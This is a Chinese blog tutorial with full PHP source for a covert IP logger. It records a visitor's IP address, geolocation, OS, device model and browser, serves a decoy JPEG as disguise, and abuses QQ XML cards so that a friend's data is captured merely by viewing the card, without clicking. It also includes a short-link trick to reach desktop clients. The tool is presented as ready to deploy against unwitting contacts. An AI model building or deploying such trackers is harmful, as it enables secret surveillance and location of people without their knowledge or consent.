解放双眼,点击阅读

闲的蛋疼教你如何用PHP程序抓取QQ好友的IP地址和设备型号,要问有什么用?

我他娘的怎么知道?

准备工作:

  1. 安装了宝塔的服务器一台
  2. 域名一个
  3. 可以发送QQxml卡片的软件一个
  4. 动手能力强的手一只
  5. 脑袋一个

动手操作:

首先在宝塔新建一个站点

创建完成后将网站目录内的文件全部删除

把原来的文件删除后新建一个名为index.php的文件

新建完index.php文件后

在index.php里面输入以下代码:

<?php 
header("Content-type: text/html; charset=utf-8");
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$ym = $http_type . $_SERVER['HTTP_HOST'];
    function filter_dangerous_words($str){
        $str = str_replace("'", "‘", $str);
        $str = str_replace("\"", "“", $str);
        $str = str_replace("<", "《", $str);
        $str = str_replace(">", "》", $str);
        return $str;
    }
    function getIP() {
        if (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
        }
        elseif (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
        }
        elseif (getenv('HTTP_X_FORWARDED')) {
        $ip = getenv('HTTP_X_FORWARDED');
        }
        elseif (getenv('HTTP_FORWARDED_FOR')) {
        $ip = getenv('HTTP_FORWARDED_FOR');
 
        }
        elseif (getenv('HTTP_FORWARDED')) {
        $ip = getenv('HTTP_FORWARDED');
        }
        else {
        $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
    $ip = getIP();
$txt =  @file_get_contents('./ip/'.$_GET["id"].'.txt');
if(preg_match("/$ip/i", $txt)){
    echo "此IP已有记录,</br>点击查看<a href=".'"./jilu.php?id='.$_GET["id"].'">记录信息</a>';
}else{
    @$referer = $_SERVER['HTTP_REFERER']."\r\n";
    $ua = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/Windows NT 6.1/i', $ua)) {
        $uaa = "Windows 7";
    }elseif(preg_match('/Windows NT 6.0/i', $ua)){
        $uaa = "Windows Vista";
    }elseif(preg_match('/Windows NT 6.2/i', $ua)){
        $uaa = "Windows 8";
    }elseif(preg_match('/Windows NT 6.3/i', $ua)){
        $uaa = "Windows 8.1";
    }elseif(preg_match('/Windows NT 10.0/i', $ua)){
        $uaa = "Windows 10";
    }elseif(preg_match('/Windows NT 5.1/i', $ua)){
        $uaa = "Windows XP";
    }elseif(preg_match('/iPhone OS ([_0-9]+)/i', $ua, $matches)){
        $uaa = "iPhone". $matches[1];
    }elseif(preg_match('/Mac OS X/i', $ua)){
        $uaa = "Mac OS X";
    }elseif(preg_match('#Windows Phone#i', $ua)){
        $uaa = "Windows Phone";
    }elseif(preg_match('/Windows NT 5.2/i', $ua) && preg_match('/Win64/i', $ua)){
        $uaa = "Windows XP 64 bit";
    }elseif(preg_match('/Android ([0-9.]+)/i', $ua, $matches)){
        $uaa = "Android". $matches[1];
        if(preg_match('#(Android ([0-9.]+))\; (.*); (.*) Build#i', $ua, $matches)){
        $uax ="设备型号:". $matches[4];
    }elseif(preg_match('#(Android ([0-9.]+))\;(.*) Build#i', $ua, $matches)){
        $uax = "设备型号:".$matches[3];
    }elseif(preg_match('#(Android ([0-9.]+))\; (.*); (.*) ([a-zA-Z0-9.]+); (.*)\) AppleWebKit#i', $ua, $matches)){
        $uax = "设备型号:".$matches[3];
    }elseif(preg_match('#(Android ([0-9.]+))\; (.*);(.*) ([a-zA-Z0-9.]+)\) AppleWebKit#i', $ua, $matches)){
        $uax = "设备型号:".$matches[3];
    }elseif(preg_match("#(Android ([0-9.]+))\;(.*)\) AppleWebKit#i", $ua, $matches)){
        $uax = "设备型号:".$matches[3];
    }else{
        $uax = "获取型号失败";
    }
    }elseif(preg_match('#Linux#i', $ua)){
        $uaa = "Linux";
    }elseif(preg_match('/Windows NT 5.2/i', $ua)){
        $uaa = "Windows XP 64 bit";
    }else{
        $uaa = "设备系统获取失败!";
    }
    if(preg_match('#WeChat#i', $ua, $matches)){
        $uas = "微信内置浏览器" . $matches[1];
    }elseif(preg_match('#QQTheme#i', $ua, $matches)){
        $uas = "QQ内置浏览器" . $matches[1];
    }elseif(preg_match('#MQQBrowser/([a-zA-Z0-9.]+)#i', $ua, $matches)){
        $uas = "QQ浏览器" . $matches[1];
    }elseif(preg_match('#(Camino|Chimera)[ /]([a-zA-Z0-9.]+)#i', $ua, $matches)){
        $uas = "Camino". $matches[2];
    }elseif (preg_match('#SE 2([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = '搜狗浏览器 2' . $matches[1];
    } elseif (preg_match('#360([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = '360浏览器 ' . $matches[1];
    } elseif (preg_match('#Maxthon( |\/)([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'Maxthon 浏览器' . $matches[2];
    } elseif (preg_match('#XiaoMi/MiuiBrowser/([0-9.]+)#i', $ua, $matches)) {
        $uas = '小米浏览器 ' . $matches[1];
    } elseif (preg_match('#Edge/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = '微软Edge浏览器 ' . $matches[1];
    } elseif (preg_match('#Trident/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'IE浏览器' . $matches[1];
    } elseif (preg_match('#2345Explorer/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = '2345加速浏览器 ' . $matches[1];
    } elseif (preg_match('#Chrome/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = '谷歌浏览器 ' . $matches[1];
    } elseif (preg_match('#Safari/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'Safari浏览器 ' . $matches[1];
    } elseif (preg_match('#opera mini#i', $ua)) {
        preg_match('#Opera/([a-zA-Z0-9.]+)#i', $ua, $matches);
        $uas = 'Opera Mini ' . $matches[1];
    } elseif (preg_match('#Opera.([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'Opera ' . $matches[1];
    } elseif (preg_match('#TencentTraveler ([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = '腾讯TT浏览器 ' . $matches[1];
    } elseif (preg_match('#(UCWEB|UBrowser|UCBrowser)/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'UC浏览器 ' . $matches[1];
    } elseif (preg_match('#Vivaldi/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'Vivaldi浏览器 ' . $matches[1];
    } elseif (preg_match('#wp-(iphone|android)/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'WordPress客户端 ' . $matches[1];
    } elseif (preg_match('#MSIE ([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'Internet Explorer ' . $matches[1];
    } elseif (preg_match('#(Firefox|Phoenix|SeaMonkey|Firebird|Bon$uas =|GranParadiso|Minefield|Iceweasel)/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'Firefox浏览器 ' . $matches[2];
    }else{
        $uas = "获取浏览器信息失败";
    }
    $date = date("Y年m月d日h时i分s秒");
    $ipd = file_get_contents("$ym/ip.php?ip=$ip");
    $ipdz = str_ireplace('                            ','',$ipd,$count);
    
    if(preg_match('#设备型号#i', $uax)){
        $hack = 'IP地址:'.$ip."\r".$ipdz."\r操作系统:".$uaa."\r".$uax."\r浏览器:".$uas."\r记录时间:".$date."\r\r";
    }else{
        $hack = 'IP地址:'.$ip."\r".$ipdz."\r操作系统:".$uaa."\r浏览器:".$uas."\r记录时间:".$date."\r\r";
    }
    $hack = filter_dangerous_words($hack);
    $op = fopen('./ip/'.$_GET["id"].'.txt','a+'); 
    fwrite($op,$hack);
    fclose($op);
    echo "信息记录成功,</br>点击查看<a href=".'"./jilu.php?id='.$_GET["id"].'">记录信息</a>';
   }
 ?>

然后再新建一个ip.php的文件,在里面输入以下代码:

<?php
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$ym = $http_type . $_SERVER['HTTP_HOST'];
$ip = $_GET['ip'];
$g4 = file_get_contents("$ym/ipdz.php?ip=$ip");
$g1 = str_ireplace('地址PQ:IP的物理位置 ','',$g4,$count);
$str="$g1";
    $t1 = mb_strpos($str,'地址PQ');
    $t2 = mb_strpos($str,'截取1');
    $g2 = mb_substr($str,$t1,$t2-$t1);
    $g6 = str_ireplace('地址PQ:','物理地址:',$g2,$count);
    echo $g6;

保存后再次新建一个ipdz.php,输入以下代码:

<?php
$ip = $_GET['ip'];
$all_lines = file("http://ip.tool.chinaz.com/$ip");
foreach ($all_lines as $line_num => $line)
{
    $html = htmlspecialchars($line);
    
    $g2 = str_ireplace('&lt;span class=&quot;Whwtdhalf w50-0&quot;&gt;','地址PQ:',$html,$count);
    $g1 = str_ireplace('&lt;/span&gt;','截取',$g2,$count);
    $str="$g1";
    $t1 = mb_strpos($str,'地址:');
    $t2 = mb_strpos($str,'截取');
    $t3 = mb_substr($str,$t1,$t2-$t1);
    $g3 = str_ireplace('&lt;td class=&quot;&quot;&gt;&lt;div class=&quot;pop-tabletd-left&quot;&gt;','截取1',$t3,$count);
   echo $g3;
}

在网站根目录新建一个名为ip的文件夹用于记录信息

最后新建一个jilu.php的文件,输入以下代码:

    <?php
$id = $_GET['id'];
function getIP() {
        if (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
        }
        elseif (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
        }
        elseif (getenv('HTTP_X_FORWARDED')) {
        $ip = getenv('HTTP_X_FORWARDED');
        }
        elseif (getenv('HTTP_FORWARDED_FOR')) {
        $ip = getenv('HTTP_FORWARDED_FOR');
 
        }
        elseif (getenv('HTTP_FORWARDED')) {
        $ip = getenv('HTTP_FORWARDED');
        }
        else {
        $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
 $txt =  @file_get_contents('./ip/'.$_GET["id"].'.txt');
    $ip = getIP();
if(preg_match("/$ip/i", $txt)){
    $txt =  file_get_contents("./ip/".$id.".txt");
    $t0 = str_ireplace('IP地址:','</br></br>IP地址:',$txt,$count);
    $t1 = str_ireplace('物理地址:','</br>物理地址:',$t0,$count);
    $t2 = str_ireplace('操作系统:','</br>操作系统:',$t1,$count);
    $t3 = str_ireplace('浏览器:','</br>浏览器:',$t2,$count);
    $t4 = str_ireplace('设备型号:','</br>设备型号:',$t3,$count);
    $t5 = str_ireplace("$ip",'<font color="red">'.$ip.'</font>',$t4,$count);
    $t6 = str_ireplace('记录时间:','</br>记录时间:',$t5,$count);
    echo '记录如下:<font color="red">(红色字体代表你的IP)</font>';
    echo $t6;
}else{
    $txt =  file_get_contents("./ip/".$id.".txt");
    $t0 = str_ireplace('IP地址:','</br></br>IP地址:',$txt,$count);
    $t1 = str_ireplace('物理地址:','</br>物理地址:',$t0,$count);
    $t2 = str_ireplace('操作系统:','</br>操作系统:',$t1,$count);
    $t3 = str_ireplace('浏览器:','</br>浏览器:',$t2,$count);
    $t4 = str_ireplace('设备型号:','</br>设备型号:',$t3,$count);
    $t5 = str_ireplace('记录时间:','</br>记录时间:',$t4,$count);
    echo '记录如下:';
    echo $t5;
}

然后就完成了网页访问的效果了,让我们来测试一下

访问http://qc.52tt.xyz/?id=2

可以看到

但是。。。我们要的是获取QQ好友的信息啊,不着急,让我慢慢来

咱再网站目录新建一个img.php的文件,在里面输入如下代码:

<?php 
header("Content-type: text/html; charset=utf-8");
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$ym = $http_type . $_SERVER['HTTP_HOST'];
    function filter_dangerous_words($str){
        $str = str_replace("'", "‘", $str);
        $str = str_replace("\"", "“", $str);
        $str = str_replace("<", "《", $str);
        $str = str_replace(">", "》", $str);
        return $str;
    }
    function getIP() {
        if (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
        }
        elseif (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
        }
        elseif (getenv('HTTP_X_FORWARDED')) {
        $ip = getenv('HTTP_X_FORWARDED');
        }
        elseif (getenv('HTTP_FORWARDED_FOR')) {
        $ip = getenv('HTTP_FORWARDED_FOR');
 
        }
        elseif (getenv('HTTP_FORWARDED')) {
        $ip = getenv('HTTP_FORWARDED');
        }
        else {
        $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
    $ip = getIP();
$txt =  @file_get_contents('./ip/'.$_GET["id"].'.txt');
if(preg_match("/$ip/i", $txt)){
    $im = imagecreatefromjpeg("1.jpg");
    header('Content-Type: image/jpeg');
    imagejpeg($im);
    imagedestroy($im);
}else{
    @$referer = $_SERVER['HTTP_REFERER']."\r\n";
    $ua = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/Windows NT 6.1/i', $ua)) {
        $uaa = "Windows 7";
    }elseif(preg_match('/Windows NT 6.0/i', $ua)){
        $uaa = "Windows Vista";
    }elseif(preg_match('/Windows NT 6.2/i', $ua)){
        $uaa = "Windows 8";
    }elseif(preg_match('/Windows NT 6.3/i', $ua)){
        $uaa = "Windows 8.1";
    }elseif(preg_match('/Windows NT 10.0/i', $ua)){
        $uaa = "Windows 10";
    }elseif(preg_match('/Windows NT 5.1/i', $ua)){
        $uaa = "Windows XP";
    }elseif(preg_match('/iPhone OS ([_0-9]+)/i', $ua, $matches)){
        $uaa = "iPhone". $matches[1];
    }elseif(preg_match('/Mac OS X/i', $ua)){
        $uaa = "Mac OS X";
    }elseif(preg_match('#Windows Phone#i', $ua)){
        $uaa = "Windows Phone";
    }elseif(preg_match('/Windows NT 5.2/i', $ua) && preg_match('/Win64/i', $ua)){
        $uaa = "Windows XP 64 bit";
    }elseif(preg_match('/Android ([0-9.]+)/i', $ua, $matches)){
        $uaa = "Android". $matches[1];
        if(preg_match('#(Android ([0-9.]+))\; (.*); (.*) Build#i', $ua, $matches)){
        $uax ="设备型号:". $matches[4];
    }elseif(preg_match('#(Android ([0-9.]+))\;(.*) Build#i', $ua, $matches)){
        $uax = "设备型号:".$matches[3];
    }elseif(preg_match('#(Android ([0-9.]+))\; (.*); (.*) ([a-zA-Z0-9.]+); (.*)\) AppleWebKit#i', $ua, $matches)){
        $uax = "设备型号:".$matches[3];
    }elseif(preg_match('#(Android ([0-9.]+))\; (.*);(.*) ([a-zA-Z0-9.]+)\) AppleWebKit#i', $ua, $matches)){
        $uax = "设备型号:".$matches[3];
    }elseif(preg_match("#(Android ([0-9.]+))\;(.*)\) AppleWebKit#i", $ua, $matches)){
        $uax = "设备型号:".$matches[3];
    }else{
        $uax = "获取型号失败";
    }
    }elseif(preg_match('#Linux#i', $ua)){
        $uaa = "Linux";
    }elseif(preg_match('/Windows NT 5.2/i', $ua)){
        $uaa = "Windows XP 64 bit";
    }else{
        $uaa = "设备系统获取失败!";
    }
    if(preg_match('#WeChat#i', $ua, $matches)){
        $uas = "微信内置浏览器" . $matches[1];
    }elseif(preg_match('#QQTheme#i', $ua, $matches)){
        $uas = "QQ内置浏览器" . $matches[1];
    }elseif(preg_match('#MQQBrowser/([a-zA-Z0-9.]+)#i', $ua, $matches)){
        $uas = "QQ浏览器" . $matches[1];
    }elseif(preg_match('#(Camino|Chimera)[ /]([a-zA-Z0-9.]+)#i', $ua, $matches)){
        $uas = "Camino". $matches[2];
    }elseif (preg_match('#SE 2([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = '搜狗浏览器 2' . $matches[1];
    } elseif (preg_match('#360([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = '360浏览器 ' . $matches[1];
    } elseif (preg_match('#Maxthon( |\/)([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'Maxthon 浏览器' . $matches[2];
    } elseif (preg_match('#XiaoMi/MiuiBrowser/([0-9.]+)#i', $ua, $matches)) {
        $uas = '小米浏览器 ' . $matches[1];
    } elseif (preg_match('#Edge/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = '微软Edge浏览器 ' . $matches[1];
    } elseif (preg_match('#Trident/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'IE浏览器' . $matches[1];
    } elseif (preg_match('#Chrome/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = '谷歌浏览器 ' . $matches[1];
    } elseif (preg_match('#Safari/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'Safari浏览器 ' . $matches[1];
    } elseif (preg_match('#opera mini#i', $ua)) {
        preg_match('#Opera/([a-zA-Z0-9.]+)#i', $ua, $matches);
        $uas = 'Opera Mini ' . $matches[1];
    } elseif (preg_match('#Opera.([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'Opera ' . $matches[1];
    } elseif (preg_match('#TencentTraveler ([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = '腾讯TT浏览器 ' . $matches[1];
    } elseif (preg_match('#(UCWEB|UBrowser|UCBrowser)/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'UC浏览器 ' . $matches[1];
    } elseif (preg_match('#Vivaldi/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'Vivaldi浏览器 ' . $matches[1];
    } elseif (preg_match('#wp-(iphone|android)/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'WordPress客户端 ' . $matches[1];
    } elseif (preg_match('#MSIE ([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'Internet Explorer ' . $matches[1];
    } elseif (preg_match('#(Firefox|Phoenix|SeaMonkey|Firebird|Bon$uas =|GranParadiso|Minefield|Iceweasel)/([a-zA-Z0-9.]+)#i', $ua, $matches)) {
        $uas = 'Firefox浏览器 ' . $matches[2];
    }else{
        $uas = "来自QQ卡片抓取";
    }
    $date = date("Y年m月d日h时i分s秒");
    $ipd = file_get_contents("$ym/ip.php?ip=$ip");
    $ipdz = str_ireplace('                            ','',$ipd,$count);
    
    if(preg_match('#设备型号#i', $uax)){
        $hack = 'IP地址:'.$ip."\r".$ipdz."\r操作系统:".$uaa."\r".$uax."\r浏览器:".$uas."\r记录时间:".$date."\r\r";
    }else{
        $hack = 'IP地址:'.$ip."\r".$ipdz."\r操作系统:".$uaa."\r浏览器:".$uas."\r记录时间:".$date."\r\r";
    }
    $hack = filter_dangerous_words($hack);
    $op = fopen('./ip/'.$_GET["id"].'.txt','a+'); 
    fwrite($op,$hack);
    fclose($op);
    $im = imagecreatefromjpeg("1.jpg");
    header('Content-Type: image/jpeg');
    imagejpeg($im);
    imagedestroy($im);
}
 ?>

对了,记得在网站根目录上传一个名为1.jpg的图片用来伪装噢,不然会是这样的:

我们上传一张jpg的图片,重命名为1.jpg,然后效果如下:

此时根目录应该是这样的:

访问一下看看效果http://qc.52tt.xyz/img.php?id=3

记录:http://qc.52tt.xyz/jilu.php?id=3

注意后面id带的参数是在ip文件夹内生成的txt记录名,比如?id=3,在ip文件夹内就会生成一个3.txt的文本文件,读取记录的?id=3也就是读取3.txt内的记录

至此服务器的PHP程序已经全部完成,接下来就是获取QQ好友的IP地址和设备信息了

获取QQ好友IP及设备信息

方法一:将记录地址发给好友,让好友点击访问即可

方法二:使用卡片自动获取

卡片代码:

(这里以id1记录演示,记录文件也是id1)

<?xml version='1.0' encoding='UTF-8' standalone='yes' ?><msg serviceID="146" templateID="1" action="web" brief="窥屏探测" sourceMsgId="0" url="https://52tt.xyz/" flag="0" adverSign="0" multiMsgFlag="0"><item layout="2" advertiser_id="0" aid="0"><picture cover="http://你的域名/?id=1" w="0" h="0" /><title>窥屏探测</title><summary>天天娱乐</summary></item><source name="天天娱乐" icon="" action="app" appid="-1" /></msg>

将上面的代码以卡片发送给QQ好友,好友只要看到卡片,不需要点击就可以获取到其IP和设备信息

可以发送xml卡片的软件例如SQV8

到这里就完成获取QQ好友的IP及设备信息了

注意:电脑要想用卡片获取电脑端的信息需要将记录链接转换成腾讯的url.cn的短链接再以卡片信息发送!!!否则无法获取电脑端的信息

本次教程到这里结束,哪里不懂欢迎留言提问

Comments

0